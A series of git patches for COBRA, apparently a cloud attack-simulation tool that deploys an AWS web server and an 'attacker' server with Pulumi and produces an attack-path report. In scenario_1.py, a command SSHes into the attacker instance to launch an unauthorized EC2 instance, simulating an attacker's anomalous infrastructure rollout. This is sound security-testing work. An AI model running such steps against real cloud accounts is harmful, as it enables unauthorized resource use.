+++ /dev/null @@ -1,14 +0,0 @@ -name: first-project -runtime: yaml -description: A minimal AWS Pulumi YAML program -config: - pulumi:tags: - value: - pulumi:template: aws-yaml -outputs: - # Export the name of the bucket - bucketName: ${my-bucket.id} -resources: - # Create an AWS resource (S3 Bucket) - my-bucket: - type: aws:s3:Bucket From 4cc84618093bce91be0fab7069158e64bee814f4 Mon Sep 17 00:00:00 2001 From: Schnitz-man <18722911+amit-schnitzer@users.noreply.github.com> Date: Thu, 4 Jul 2024 18:26:28 +0300 Subject: [PATCH 16/76] Delete first-project/Pulumi.dev.yaml --- first-project/Pulumi.dev.yaml | 2 -- 1 file changed, 2 deletions(-) delete mode 100644 first-project/Pulumi.dev.yaml diff --git a/first-project/Pulumi.dev.yaml b/first-project/Pulumi.dev.yaml deleted file mode 100644 index 1a38cef..0000000 --- a/first-project/Pulumi.dev.yaml +++ /dev/null @@ -1,2 +0,0 @@ -config: - aws:region: us-east-1 From 1f80e1730dfb7bae5733e7239617f9eb04b3c8df Mon Sep 17 00:00:00 2001 From: Schnitz-man <18722911+amit-schnitzer@users.noreply.github.com> Date: Thu, 4 Jul 2024 18:30:42 +0300 Subject: [PATCH 17/76] Update scenario_1.py --- scenarios/scenario_1/scenario_1.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/scenarios/scenario_1/scenario_1.py b/scenarios/scenario_1/scenario_1.py index 489cfd1..67caa5c 100644 --- a/scenarios/scenario_1/scenario_1.py +++ b/scenarios/scenario_1/scenario_1.py @@ -30,7 +30,6 @@ def scenario_1_execute(): print("File '{}' found and deleted.".format(file_path)) else: print("File '{}' not found.".format(file_path)) - input("Press any key to continue...") subprocess.call("cd ./scenarios/scenario_1/infra/ && pulumi up -s aws-scenario-1 -y", shell=True) subprocess.call("cd ./scenarios/scenario_1/infra/ && pulumi stack -s aws-scenario-1 output --json >> ../../../core/aws-scenario-1-output.json", shell=True) @@ -94,4 +93,4 @@ def scenario_1_execute(): print("-"*30) print(colored("Generating Report", color="red")) loading_animation() - gen_report(ATTACKER_SERVER_INSTANCE_ID, ATTACKER_SERVER_PUBLIC_IP, WEB_SERVER_PUBLIC_IP, WEB_SERVER_INSTANCE_ID) \ No newline at end of file + gen_report(ATTACKER_SERVER_INSTANCE_ID, ATTACKER_SERVER_PUBLIC_IP, WEB_SERVER_PUBLIC_IP, WEB_SERVER_INSTANCE_ID) From 2b844c19b3db55dca0afd71b5a2f70c8f8d5a9c2 Mon Sep 17 00:00:00 2001 From: Amit Schnitzer Date: Thu, 4 Jul 2024 19:03:22 +0300 Subject: [PATCH 18/76] Fix images location --- core/report.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/core/report.py b/core/report.py index 385ea8c..154c731 100644 --- a/core/report.py +++ b/core/report.py @@ -80,7 +80,7 @@ def gen_report(attacker_vm_id, attacker_vm_ip, infected_vm_id, infected_vm_ip ):
- COBRA Logo + COBRA Logo

COBRA Attack Path Report

@@ -100,7 +100,7 @@ def gen_report(attacker_vm_id, attacker_vm_ip, infected_vm_id, infected_vm_ip ):

Attack Path Graph

- Attack Path Graph + Attack Path Graph

Resource Meta Data

From b2d1673826e2a7133c4a5ec6bd0081971fcf0777 Mon Sep 17 00:00:00 2001 From: Amit Schnitzer Date: Thu, 4 Jul 2024 19:18:26 +0300 Subject: [PATCH 19/76] Adding Instance names (for ease of identification) --- scenarios/scenario_1/infra/__main__.py | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/scenarios/scenario_1/infra/__main__.py b/scenarios/scenario_1/infra/__main__.py index 125c2dc..ce26f7c 100644 --- a/scenarios/scenario_1/infra/__main__.py +++ b/scenarios/scenario_1/infra/__main__.py @@ -134,6 +134,9 @@ def read_public_key(pub_key_path): iam_instance_profile=instance_profile.name, security_groups=[sg.name], user_data=user_data_script + tags={ + "Name": "Cobra-Web-Server)" + } ) instance1 = aws.ec2.Instance("attacker-server", @@ -141,9 +144,11 @@ def read_public_key(pub_key_path): ami=ubuntu_ami.id, security_groups=[sg.name], user_data=user_data_script_1, - key_name=key_pair.key_name) - - + key_name=key_pair.key_name, + tags={ + "Name": "Cobra-Attacker)" + } +) # Export the public IP of the EC2 instance print("Web Server Public IP") pulumi.export("Web Server Public IP", instance.public_ip) From 09fa21b2ea448dc024e6b5fd49a31107fd2d7d53 Mon Sep 17 00:00:00 2001 From: Amit Schnitzer Date: Thu, 4 Jul 2024 20:23:37 +0300 Subject: [PATCH 20/76] Adding instance names --- core/report.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/report.py b/core/report.py index 154c731..11f2b98 100644 --- a/core/report.py +++ b/core/report.py @@ -100,7 +100,7 @@ def gen_report(attacker_vm_id, attacker_vm_ip, infected_vm_id, infected_vm_ip ):

Attack Path Graph

- Attack Path Graph + Attack Path Graph

Resource Meta Data

From f1c4a62763e219c22e96d83ab12b8af10918482e Mon Sep 17 00:00:00 2001 From: Amit Schnitzer Date: Thu, 4 Jul 2024 20:25:27 +0300 Subject: [PATCH 21/76] Another typo with instance name --- scenarios/scenario_1/infra/__main__.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scenarios/scenario_1/infra/__main__.py b/scenarios/scenario_1/infra/__main__.py index ce26f7c..c055154 100644 --- a/scenarios/scenario_1/infra/__main__.py +++ b/scenarios/scenario_1/infra/__main__.py @@ -133,7 +133,7 @@ def read_public_key(pub_key_path): ami=ubuntu_ami.id, iam_instance_profile=instance_profile.name, security_groups=[sg.name], - user_data=user_data_script + user_data=user_data_script, tags={ "Name": "Cobra-Web-Server)" } From 6921c598e0e39733df5a47a7934442ae1d402bf2 Mon Sep 17 00:00:00 2001 From: Amit Schnitzer Date: Thu, 4 Jul 2024 20:35:03 +0300 Subject: [PATCH 22/76] removing '/' --- core/report.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/report.py b/core/report.py index 11f2b98..ef8fde7 100644 --- a/core/report.py +++ b/core/report.py @@ -100,7 +100,7 @@ def gen_report(attacker_vm_id, attacker_vm_ip, infected_vm_id, infected_vm_ip ):

Attack Path Graph

- Attack Path Graph + Attack Path Graph

Resource Meta Data

From 91c55ba0b822d9e5ca84240a6294763c2567a964 Mon Sep 17 00:00:00 2001 From: Amit Schnitzer Date: Thu, 4 Jul 2024 21:28:38 +0300 Subject: [PATCH 23/76] Added breakpoint to debug extra instance creation --- scenarios/scenario_1/infra/__main__.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/scenarios/scenario_1/infra/__main__.py b/scenarios/scenario_1/infra/__main__.py index c055154..20040df 100644 --- a/scenarios/scenario_1/infra/__main__.py +++ b/scenarios/scenario_1/infra/__main__.py @@ -3,6 +3,7 @@ import os import sys import subprocess +import pdb def read_public_key(pub_key_path): # Read the public key from the file @@ -32,6 +33,7 @@ def read_public_key(pub_key_path): ) # Create an IAM role for EC2 instance +pdb.set_trace() role = aws.iam.Role("ec2-role", assume_role_policy="""{ "Version": "2012-10-17", @@ -46,6 +48,7 @@ def read_public_key(pub_key_path): ) # Attach a policy to the role allowing necessary permissions +pdb.set_trace() policy = aws.iam.RolePolicy("ec2-role-policy", role=role.name, policy="""{ @@ -135,7 +138,7 @@ def read_public_key(pub_key_path): security_groups=[sg.name], user_data=user_data_script, tags={ - "Name": "Cobra-Web-Server)" + "Name": "Cobra-Webserver)" } ) From 6d40542916c2322378eccaf6b6ad8e7271dda5c5 Mon Sep 17 00:00:00 2001 From: Amit Schnitzer Date: Thu, 4 Jul 2024 22:04:17 +0300 Subject: [PATCH 24/76] Trying to reduce breakpoints to 1 --- scenarios/scenario_1/infra/__main__.py | 1 - 1 file changed, 1 deletion(-) diff --git a/scenarios/scenario_1/infra/__main__.py b/scenarios/scenario_1/infra/__main__.py index 20040df..59ef587 100644 --- a/scenarios/scenario_1/infra/__main__.py +++ b/scenarios/scenario_1/infra/__main__.py @@ -48,7 +48,6 @@ def read_public_key(pub_key_path): ) # Attach a policy to the role allowing necessary permissions -pdb.set_trace() policy = aws.iam.RolePolicy("ec2-role-policy", role=role.name, policy="""{ From 5ef76d31899182e72c62d960f320debf93e808c8 Mon Sep 17 00:00:00 2001 From: Amit Schnitzer Date: Thu, 4 Jul 2024 22:06:09 +0300 Subject: [PATCH 25/76] Removing pdb trace --- scenarios/scenario_1/infra/__main__.py | 1 - 1 file changed, 1 deletion(-) diff --git a/scenarios/scenario_1/infra/__main__.py b/scenarios/scenario_1/infra/__main__.py index 59ef587..2ccdb76 100644 --- a/scenarios/scenario_1/infra/__main__.py +++ b/scenarios/scenario_1/infra/__main__.py @@ -33,7 +33,6 @@ def read_public_key(pub_key_path): ) # Create an IAM role for EC2 instance -pdb.set_trace() role = aws.iam.Role("ec2-role", assume_role_policy="""{ "Version": "2012-10-17", From 1b7f35af2739e44d705b5aa84f7a77dd4290a6ed Mon Sep 17 00:00:00 2001 From: Amit Schnitzer Date: Thu, 4 Jul 2024 22:28:47 +0300 Subject: [PATCH 26/76] Added instance name to the anomolous server as well --- scenarios/scenario_1/scenario_1.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scenarios/scenario_1/scenario_1.py b/scenarios/scenario_1/scenario_1.py index 67caa5c..c5089fa 100644 --- a/scenarios/scenario_1/scenario_1.py +++ b/scenarios/scenario_1/scenario_1.py @@ -88,7 +88,7 @@ def scenario_1_execute(): print("-"*30) print(colored("Anomalous Infra Rollout", color="red")) loading_animation() - subprocess.call("ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@"+ATTACKER_SERVER_PUBLIC_IP+" ""aws ec2 run-instances --image-id "+AMI_ID+" --instance-type t2.micro --key-name "+KEY_PAIR_NAME+" --subnet-id "+SUBNET_ID+" --region "+REGION+" | jq '.Instances[].InstanceId'""", shell=True) + subprocess.call("ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@"+ATTACKER_SERVER_PUBLIC_IP+" ""aws ec2 run-instances --image-id "+AMI_ID+" --instance-type t2.micro --key-name "+KEY_PAIR_NAME+" --subnet-id "+SUBNET_ID+" --region "+REGION+" --tag-specifications "ResourceType=instance,Tags=[{Key=Name,Value=Cobra-Anomalous}]" | jq '.Instances[].InstanceId'""", shell=True) print("-"*30) print(colored("Generating Report", color="red")) From b82a4fb36fb5c7b0f8922c1f487c5b4b401a35dd Mon Sep 17 00:00:00 2001 From: Amit Schnitzer Date: Thu, 4 Jul 2024 22:43:32 +0300 Subject: [PATCH 27/76] Adding "" --- scenarios/scenario_1/scenario_1.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scenarios/scenario_1/scenario_1.py b/scenarios/scenario_1/scenario_1.py index c5089fa..ffef371 100644 --- a/scenarios/scenario_1/scenario_1.py +++ b/scenarios/scenario_1/scenario_1.py @@ -88,7 +88,7 @@ def scenario_1_execute(): print("-"*30) print(colored("Anomalous Infra Rollout", color="red")) loading_animation() - subprocess.call("ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@"+ATTACKER_SERVER_PUBLIC_IP+" ""aws ec2 run-instances --image-id "+AMI_ID+" --instance-type t2.micro --key-name "+KEY_PAIR_NAME+" --subnet-id "+SUBNET_ID+" --region "+REGION+" --tag-specifications "ResourceType=instance,Tags=[{Key=Name,Value=Cobra-Anomalous}]" | jq '.Instances[].InstanceId'""", shell=True) + subprocess.call("ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@"+ATTACKER_SERVER_PUBLIC_IP+" ""aws ec2 run-instances --image-id "+AMI_ID+" --instance-type t2.micro --key-name "+KEY_PAIR_NAME+" --subnet-id "+SUBNET_ID+" --region "+REGION+" --tag-specifications "ResourceType=instance,Tags=[{Key=Name,Value="Cobra-Anomalous"}]" | jq '.Instances[].InstanceId'""", shell=True) print("-"*30) print(colored("Generating Report", color="red")) From 0ba1a0900662def558198e9837f8e3defe289dba Mon Sep 17 00:00:00 2001 From: Amit Schnitzer Date: Thu, 4 Jul 2024 22:45:53 +0300 Subject: [PATCH 28/76] changed to ' --- scenarios/scenario_1/scenario_1.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scenarios/scenario_1/scenario_1.py b/scenarios/scenario_1/scenario_1.py index ffef371..b910939 100644 --- a/scenarios/scenario_1/scenario_1.py +++ b/scenarios/scenario_1/scenario_1.py @@ -88,7 +88,7 @@ def scenario_1_execute(): print("-"*30) print(colored("Anomalous Infra Rollout", color="red")) loading_animation() - subprocess.call("ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@"+ATTACKER_SERVER_PUBLIC_IP+" ""aws ec2 run-instances --image-id "+AMI_ID+" --instance-type t2.micro --key-name "+KEY_PAIR_NAME+" --subnet-id "+SUBNET_ID+" --region "+REGION+" --tag-specifications "ResourceType=instance,Tags=[{Key=Name,Value="Cobra-Anomalous"}]" | jq '.Instances[].InstanceId'""", shell=True) + subprocess.call("ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@"+ATTACKER_SERVER_PUBLIC_IP+" ""aws ec2 run-instances --image-id "+AMI_ID+" --instance-type t2.micro --key-name "+KEY_PAIR_NAME+" --subnet-id "+SUBNET_ID+" --region "+REGION+" --tag-specifications "ResourceType=instance,Tags=[{Key=Name,Value='Cobra-Anomalous'}]" | jq '.Instances[].InstanceId'""", shell=True) print("-"*30) print(colored("Generating Report", color="red")) From cb5a115031cab7b97c4d0b9ee98ebc8d3bc28a13 Mon Sep 17 00:00:00 2001 From: Amit Schnitzer Date: Thu, 4 Jul 2024 23:02:59 +0300 Subject: [PATCH 29/76] changing aws ec2 create command concatination --- scenarios/scenario_1/scenario_1.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/scenarios/scenario_1/scenario_1.py b/scenarios/scenario_1/scenario_1.py index b910939..2792c51 100644 --- a/scenarios/scenario_1/scenario_1.py +++ b/scenarios/scenario_1/scenario_1.py @@ -64,7 +64,7 @@ def scenario_1_execute(): AMI_ID = data["AMI ID"] KEY_PAIR_NAME = data["Key Pair Name"] REGION = data["Region"] - + INSTANCE_NAME='Cobra-Anomalous' print("Web Server Public IP: ", WEB_SERVER_PUBLIC_IP) print("-"*30) @@ -88,8 +88,7 @@ def scenario_1_execute(): print("-"*30) print(colored("Anomalous Infra Rollout", color="red")) loading_animation() - subprocess.call("ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@"+ATTACKER_SERVER_PUBLIC_IP+" ""aws ec2 run-instances --image-id "+AMI_ID+" --instance-type t2.micro --key-name "+KEY_PAIR_NAME+" --subnet-id "+SUBNET_ID+" --region "+REGION+" --tag-specifications "ResourceType=instance,Tags=[{Key=Name,Value='Cobra-Anomalous'}]" | jq '.Instances[].InstanceId'""", shell=True) - + subprocess.call("ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@" + ATTACKER_SERVER_PUBLIC_IP + " \"aws ec2 run-instances --image-id " + AMI_ID + " --instance-type t2.micro --key-name " + KEY_PAIR_NAME + " --subnet-id " + SUBNET_ID + " --region " + REGION + " --tag-specifications 'ResourceType=instance,Tags=[{Key=Name,Value=" + INSTANCE_NAME + "}]'\" | jq '.Instances[].InstanceId'", shell=True) print("-"*30) print(colored("Generating Report", color="red")) loading_animation() From 950ccfcfa0fc5bbdb162d9ec1a082371652dfea1 Mon Sep 17 00:00:00 2001 From: Amit Schnitzer Date: Thu, 4 Jul 2024 23:26:16 +0300 Subject: [PATCH 30/76] Added permission to create ec2 tags --- scenarios/scenario_1/infra/__main__.py | 1 + 1 file changed, 1 insertion(+) diff --git a/scenarios/scenario_1/infra/__main__.py b/scenarios/scenario_1/infra/__main__.py index 2ccdb76..095b0f7 100644 --- a/scenarios/scenario_1/infra/__main__.py +++ b/scenarios/scenario_1/infra/__main__.py @@ -72,6 +72,7 @@ def read_public_key(pub_key_path): "ec2:CreateKeyPair", "ec2:RunInstances", "ec2:TerminateInstances", + "ec2:CreateTags", "iam:ListRoles", "iam:ListInstanceProfiles", "iam:ListAttachedRolePolicies", From 3de4fdee0daf091873684fc9805771242633f4ad Mon Sep 17 00:00:00 2001 From: Amit Schnitzer Date: Fri, 5 Jul 2024 08:35:15 +0300 Subject: [PATCH 31/76] remove ')' from instances names --- scenarios/scenario_1/infra/__main__.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/scenarios/scenario_1/infra/__main__.py b/scenarios/scenario_1/infra/__main__.py index 095b0f7..48f3db7 100644 --- a/scenarios/scenario_1/infra/__main__.py +++ b/scenarios/scenario_1/infra/__main__.py @@ -137,7 +137,7 @@ def read_public_key(pub_key_path): security_groups=[sg.name], user_data=user_data_script, tags={ - "Name": "Cobra-Webserver)" + "Name": "Cobra-Webserver" } ) @@ -148,7 +148,7 @@ def read_public_key(pub_key_path): user_data=user_data_script_1, key_name=key_pair.key_name, tags={ - "Name": "Cobra-Attacker)" + "Name": "Cobra-Attacker" } ) # Export the public IP of the EC2 instance From 44548e53a22bcbaf5657b8cbdf2a0fe302b36277 Mon Sep 17 00:00:00 2001 From: Amit Schnitzer Date: Fri, 5 Jul 2024 08:56:58 +0300 Subject: [PATCH 32/76] Added 'pulumi import' command to import that instance into pulumi so it will be destroyed later with the environment --- scenarios/scenario_1/scenario_1.py | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/scenarios/scenario_1/scenario_1.py b/scenarios/scenario_1/scenario_1.py index 2792c51..da94233 100644 --- a/scenarios/scenario_1/scenario_1.py +++ b/scenarios/scenario_1/scenario_1.py @@ -88,7 +88,14 @@ def scenario_1_execute(): print("-"*30) print(colored("Anomalous Infra Rollout", color="red")) loading_animation() - subprocess.call("ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@" + ATTACKER_SERVER_PUBLIC_IP + " \"aws ec2 run-instances --image-id " + AMI_ID + " --instance-type t2.micro --key-name " + KEY_PAIR_NAME + " --subnet-id " + SUBNET_ID + " --region " + REGION + " --tag-specifications 'ResourceType=instance,Tags=[{Key=Name,Value=" + INSTANCE_NAME + "}]'\" | jq '.Instances[].InstanceId'", shell=True) + # subprocess.call("ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@" + ATTACKER_SERVER_PUBLIC_IP + " \"aws ec2 run-instances --image-id " + AMI_ID + " --instance-type t2.micro --key-name " + KEY_PAIR_NAME + " --subnet-id " + SUBNET_ID + " --region " + REGION + " --tag-specifications 'ResourceType=instance,Tags=[{Key=Name,Value=" + INSTANCE_NAME + "}]'\" | jq '.Instances[].InstanceId'", shell=True) + subprocess.call( + f"ssh -o StrictHostKeyChecking=accept-new -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} " + f"\"aws ec2 run-instances --image-id {AMI_ID} --instance-type t2.micro --key-name {KEY_PAIR_NAME} " + f"--subnet-id {SUBNET_ID} --region {REGION} " + f"--tag-specifications 'ResourceType=instance,Tags=[{{Key=Name,Value={INSTANCE_NAME}}}]]' | " + "jq -r '.Instances[].InstanceId' | xargs -I {} pulumi import aws:ec2/instance:Instance 'your-pulumi-resource-name' {}\"", + shell=True) print("-"*30) print(colored("Generating Report", color="red")) loading_animation() From 73943e11143834f6b4dd564efe2424f8cd90f68a Mon Sep 17 00:00:00 2001 From: Amit Schnitzer Date: Fri, 5 Jul 2024 09:06:42 +0300 Subject: [PATCH 33/76] ... --- scenarios/scenario_1/scenario_1.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scenarios/scenario_1/scenario_1.py b/scenarios/scenario_1/scenario_1.py index da94233..1fbeae9 100644 --- a/scenarios/scenario_1/scenario_1.py +++ b/scenarios/scenario_1/scenario_1.py @@ -93,7 +93,7 @@ def scenario_1_execute(): f"ssh -o StrictHostKeyChecking=accept-new -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} " f"\"aws ec2 run-instances --image-id {AMI_ID} --instance-type t2.micro --key-name {KEY_PAIR_NAME} " f"--subnet-id {SUBNET_ID} --region {REGION} " - f"--tag-specifications 'ResourceType=instance,Tags=[{{Key=Name,Value={INSTANCE_NAME}}}]]' | " + f"--tag-specifications 'ResourceType=instance,Tags=[{{Key=Name,Value={INSTANCE_NAME}}}]' | " "jq -r '.Instances[].InstanceId' | xargs -I {} pulumi import aws:ec2/instance:Instance 'your-pulumi-resource-name' {}\"", shell=True) print("-"*30) From f1945ab62b1de5dc3bb30efd9139150f746450e8 Mon Sep 17 00:00:00 2001 From: Amit Schnitzer Date: Fri, 5 Jul 2024 09:35:11 +0300 Subject: [PATCH 34/76] Continue handlind pulumi import for the anomalous server that is launched outside pulumi --- scenarios/scenario_1/scenario_1.py | 25 +++++++++++++++++++------ 1 file changed, 19 insertions(+), 6 deletions(-) diff --git a/scenarios/scenario_1/scenario_1.py b/scenarios/scenario_1/scenario_1.py index 1fbeae9..4bd104c 100644 --- a/scenarios/scenario_1/scenario_1.py +++ b/scenarios/scenario_1/scenario_1.py @@ -89,13 +89,26 @@ def scenario_1_execute(): print(colored("Anomalous Infra Rollout", color="red")) loading_animation() # subprocess.call("ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@" + ATTACKER_SERVER_PUBLIC_IP + " \"aws ec2 run-instances --image-id " + AMI_ID + " --instance-type t2.micro --key-name " + KEY_PAIR_NAME + " --subnet-id " + SUBNET_ID + " --region " + REGION + " --tag-specifications 'ResourceType=instance,Tags=[{Key=Name,Value=" + INSTANCE_NAME + "}]'\" | jq '.Instances[].InstanceId'", shell=True) - subprocess.call( + # Construct the AWS CLI command + aws_command = ( + f"aws ec2 run-instances --image-id {AMI_ID} --instance-type t2.micro " + f"--key-name {KEY_PAIR_NAME} --subnet-id {SUBNET_ID} --region {REGION} " + f"--tag-specifications 'ResourceType=instance,Tags=[{{Key=Name,Value={INSTANCE_NAME}}}]]'" + ) + + # Construct the full SSH command with jq and xargs + ssh_command = ( f"ssh -o StrictHostKeyChecking=accept-new -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} " - f"\"aws ec2 run-instances --image-id {AMI_ID} --instance-type t2.micro --key-name {KEY_PAIR_NAME} " - f"--subnet-id {SUBNET_ID} --region {REGION} " - f"--tag-specifications 'ResourceType=instance,Tags=[{{Key=Name,Value={INSTANCE_NAME}}}]' | " - "jq -r '.Instances[].InstanceId' | xargs -I {} pulumi import aws:ec2/instance:Instance 'your-pulumi-resource-name' {}\"", - shell=True) + f"\'{aws_command} | " # Escape the inner single quote here + "jq -r '.Instances[].InstanceId' | xargs -I {{}} sh -c " + f"'cd ./scenarios/scenario_1/infra/ && pulumi import aws:ec2/instance:Instance \\\"Cobra-Anomalous\\\" {{}}'\"", + ) + + # Execute the combined command + try: + subprocess.call(ssh_command, shell=True) + except subprocess.CalledProcessError as e: + print(f"Command failed with error: {e}") print("-"*30) print(colored("Generating Report", color="red")) loading_animation() From db9f3e5b7c55e55404403cb68d95d269f6d646e4 Mon Sep 17 00:00:00 2001 From: Amit Schnitzer Date: Fri, 5 Jul 2024 09:57:39 +0300 Subject: [PATCH 35/76] trying different approach --- scenarios/scenario_1/scenario_1.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/scenarios/scenario_1/scenario_1.py b/scenarios/scenario_1/scenario_1.py index 4bd104c..6d52da8 100644 --- a/scenarios/scenario_1/scenario_1.py +++ b/scenarios/scenario_1/scenario_1.py @@ -99,12 +99,12 @@ def scenario_1_execute(): # Construct the full SSH command with jq and xargs ssh_command = ( f"ssh -o StrictHostKeyChecking=accept-new -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} " - f"\'{aws_command} | " # Escape the inner single quote here - "jq -r '.Instances[].InstanceId' | xargs -I {{}} sh -c " - f"'cd ./scenarios/scenario_1/infra/ && pulumi import aws:ec2/instance:Instance \\\"Cobra-Anomalous\\\" {{}}'\"", + f"\"{aws_command} | jq -r '.Instances[].InstanceId' | xargs -I {{}} sh -c " + f"'cd ./scenarios/scenario_1/infra/ && pulumi import aws:ec2/instance:Instance Cobra-Anomalous {{}}'" + "\"" # Close the double quote for the entire command string ) - # Execute the combined command + # Execute the command try: subprocess.call(ssh_command, shell=True) except subprocess.CalledProcessError as e: From 8da243ca235536ab2e81553e8505934f3a110d0b Mon Sep 17 00:00:00 2001 From: Amit Schnitzer Date: Fri, 5 Jul 2024 10:09:54 +0300 Subject: [PATCH 36/76] fix typo --- scenarios/scenario_1/scenario_1.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scenarios/scenario_1/scenario_1.py b/scenarios/scenario_1/scenario_1.py index 6d52da8..2504028 100644 --- a/scenarios/scenario_1/scenario_1.py +++ b/scenarios/scenario_1/scenario_1.py @@ -93,7 +93,7 @@ def scenario_1_execute(): aws_command = ( f"aws ec2 run-instances --image-id {AMI_ID} --instance-type t2.micro " f"--key-name {KEY_PAIR_NAME} --subnet-id {SUBNET_ID} --region {REGION} " - f"--tag-specifications 'ResourceType=instance,Tags=[{{Key=Name,Value={INSTANCE_NAME}}}]]'" + f"--tag-specifications 'ResourceType=instance,Tags=[{{Key=Name,Value={INSTANCE_NAME}}}]'" ) # Construct the full SSH command with jq and xargs From 619b96f131f1eed3b87d0bf95b7c764c391aedfe Mon Sep 17 00:00:00 2001 From: Amit Schnitzer Date: Fri, 5 Jul 2024 10:27:30 +0300 Subject: [PATCH 37/76] added ls and pwd commands --- scenarios/scenario_1/scenario_1.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scenarios/scenario_1/scenario_1.py b/scenarios/scenario_1/scenario_1.py index 2504028..bb463bb 100644 --- a/scenarios/scenario_1/scenario_1.py +++ b/scenarios/scenario_1/scenario_1.py @@ -100,7 +100,7 @@ def scenario_1_execute(): ssh_command = ( f"ssh -o StrictHostKeyChecking=accept-new -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} " f"\"{aws_command} | jq -r '.Instances[].InstanceId' | xargs -I {{}} sh -c " - f"'cd ./scenarios/scenario_1/infra/ && pulumi import aws:ec2/instance:Instance Cobra-Anomalous {{}}'" + f"'ls && pwd && cd ./scenarios/scenario_1/infra/ && pulumi import aws:ec2/instance:Instance Cobra-Anomalous {{}}'" "\"" # Close the double quote for the entire command string ) From 33747434fa5b48305434e86dd5192acfcd8866f1 Mon Sep 17 00:00:00 2001 From: Stephen Gordon Date: Tue, 9 Jul 2024 10:39:47 -0500 Subject: [PATCH 38/76] remove the hard-coded path --- scenarios/scenario_1/infra/Pulumi.yaml | 2 -- scenarios/scenario_2/infra/Pulumi.yaml | 2 -- scenarios/scenario_3/infra/Pulumi.yaml | 2 -- scenarios/scenario_4/infra/Pulumi.yaml | 3 +-- 4 files changed, 1 insertion(+), 8 deletions(-) diff --git a/scenarios/scenario_1/infra/Pulumi.yaml b/scenarios/scenario_1/infra/Pulumi.yaml index f8e5aec..1531451 100644 --- a/scenarios/scenario_1/infra/Pulumi.yaml +++ b/scenarios/scenario_1/infra/Pulumi.yaml @@ -1,8 +1,6 @@ name: infra runtime: name: python - options: - virtualenv: ../../../venv description: A minimal AWS Python Pulumi program config: pulumi:tags: diff --git a/scenarios/scenario_2/infra/Pulumi.yaml b/scenarios/scenario_2/infra/Pulumi.yaml index ea1baab..6de68db 100644 --- a/scenarios/scenario_2/infra/Pulumi.yaml +++ b/scenarios/scenario_2/infra/Pulumi.yaml @@ -1,8 +1,6 @@ name: ls runtime: name: python - options: - virtualenv: ../../../venv description: A minimal AWS Python Pulumi program config: pulumi:tags: diff --git a/scenarios/scenario_3/infra/Pulumi.yaml b/scenarios/scenario_3/infra/Pulumi.yaml index 493ba2c..199563e 100644 --- a/scenarios/scenario_3/infra/Pulumi.yaml +++ b/scenarios/scenario_3/infra/Pulumi.yaml @@ -1,8 +1,6 @@ name: infra runtime: name: python - options: - virtualenv: ../../../venv description: A minimal AWS Python Pulumi program config: pulumi:tags: diff --git a/scenarios/scenario_4/infra/Pulumi.yaml b/scenarios/scenario_4/infra/Pulumi.yaml index f64eb40..71dca15 100644 --- a/scenarios/scenario_4/infra/Pulumi.yaml +++ b/scenarios/scenario_4/infra/Pulumi.yaml @@ -1,8 +1,7 @@ name: infra runtime: name: python - options: - virtualenv: ../../../venv + description: A minimal AWS Python Pulumi program config: pulumi:tags: From 5828811c12b66d6fcefa1383010d88ddb38ae586 Mon Sep 17 00:00:00 2001 From: Stephen Gordon Date: Tue, 9 Jul 2024 11:41:05 -0500 Subject: [PATCH 39/76] Readme updated with Prerequisites --- README.md | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index d86c0a5..903b717 100644 --- a/README.md +++ b/README.md @@ -37,8 +37,13 @@ It facilitates Proof of Concept (POC) evaluations, assesses security controls, m - Python 3.8+ - pip3 -- Pulumi Account -- AWS CLI +- Pulumi CLI [Docs](https://www.pulumi.com/docs/install/) +- Pulumi Account [here](https://www.pulumi.com/) + - Create Pulumi Personal Access Token [Docs](https://www.pulumi.com/docs/pulumi-cloud/access-management/access-tokens/#creating-personal-access-tokens) + - Use shell to login to Pulumi `$pulumi login` (Paste access token) [Docs](https://www.pulumi.com/docs/cli/commands/pulumi_login/) +- AWS CLI installed + - Will use the default profile credentials unless defined with the environment variables `AWS_PROFILE` and `AWS_REGION` + - Must have the region defined. - Azure CLI - Google Cloud SDK From 289f45b2f2b55b8cfedc10c5ab055fc560bc3650 Mon Sep 17 00:00:00 2001 From: Anand Tiwari Date: Wed, 10 Jul 2024 10:03:14 +0530 Subject: [PATCH 40/76] added cobra logo 